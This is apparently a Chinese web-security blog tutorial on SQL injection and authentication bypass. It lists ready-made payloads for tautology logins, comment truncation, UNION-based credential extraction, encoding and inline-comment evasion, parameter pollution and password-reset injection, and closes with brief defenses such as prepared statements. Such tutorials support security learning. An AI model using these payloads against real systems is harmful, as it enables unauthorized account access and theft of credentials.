【web安全】SQL注入与认证绕过

目录

一、SQL注入漏洞

[1.1 基础注入原理](#1.1 基础注入原理)

[1.2 实用注入Payload分类](#1.2 实用注入Payload分类)

逻辑绕过型

注释截断型

联合查询型

常见的万能密码-CSDN博客

二、登录绕过实战技巧

[2.1 基础绕过手法](#2.1 基础绕过手法)

[2.2 高级绕过技巧](#2.2 高级绕过技巧)

编码绕过

多重注释

参数污染

三、密码重置漏洞利用

[3.1 常见漏洞模式](#3.1 常见漏洞模式)

[3.2 实用Payload](#3.2 实用Payload)

四、防御方案精要

[4.1 开发防护](#4.1 开发防护)

[4.2 运维加固](#4.2 运维加固)

速查表


一、SQL注入漏洞

1.1 基础注入原理

SQL注入是通过构造特殊输入改变原始SQL语句逻辑的攻击方式。典型攻击模式:

sql 复制代码
原始语句:SELECT * FROM users WHERE username='[输入]' AND password='[输入]'
注入后: SELECT * FROM users WHERE username='admin'--' AND password='xxx'

1.2 实用注入Payload分类

逻辑绕过型
sql 复制代码
' OR 1=1 --
" OR "a"="a
' OR '1'='1
注释截断型
sql 复制代码
admin'#
admin'/*
admin'--
联合查询型
sql 复制代码
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--

常见的万能密码-CSDN博客

二、登录绕过实战技巧

2.1 基础绕过手法

sql 复制代码
admin' OR '1'='1
admin'--
admin'/*

2.2 高级绕过技巧

编码绕过
sql 复制代码
admin%27%20OR%201%3D1--
多重注释
sql 复制代码
admin'/*!OR*/1=1--
参数污染
sql 复制代码
username=admin'--&username=realuser

三、密码重置漏洞利用

3.1 常见漏洞模式

sql 复制代码
UPDATE users SET password='[新密码]' WHERE username='[输入]'
注入: UPDATE users SET password='hacked' WHERE username='admin'--'

3.2 实用Payload

sql 复制代码
admin'--
' OR email='admin@example.com
' OR 1=1 LIMIT 1--

四、防御方案精要

4.1 开发防护

sql 复制代码
// 使用预编译语句
String sql = "SELECT * FROM users WHERE username=?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);

4.2 运维加固

  1. 启用WAF规则过滤特殊字符

  2. 限制数据库账号权限

  3. 开启SQL执行日志审计

相关推荐
Chasing Aurora13 小时前
数据库连接+查询优化
数据库·sql·mysql·prompt·约束
未来之窗软件服务13 小时前
服务器运维(二十三) 服务器安全探针封装—东方仙盟练气期
安全·仙盟创梦ide·东方仙盟·安全探针
蓝之白14 小时前
流量分析_SnakeBackdoor-6
web安全·ctf·流量分析·逆向分析
萧曵 丶15 小时前
Next-Key Lock、记录锁、间隙锁浅谈
数据库·sql·mysql·mvcc·可重复读·幻读
zgl_2005377915 小时前
ZGLanguage 解析SQL数据血缘 之 标识提取SQL语句中的目标表
java·大数据·数据库·数据仓库·hadoop·sql·源代码管理
莳花微语15 小时前
记录一次OGG进程abended,报错OGG-01431、OGG-01003、OGG-01151、OGG-01296问题的处理
数据库·sql·mysql
萧曵 丶16 小时前
MySQL三大日志系统浅谈
数据库·sql·mysql
corpse201017 小时前
Linux监控软件Monitorix 安装部署
linux·安全
飞鸟真人18 小时前
关于python -m http.server的一些安全问题
python·安全·http
用户19653306721118 小时前
【TryHackMe】JPT-文件包含
安全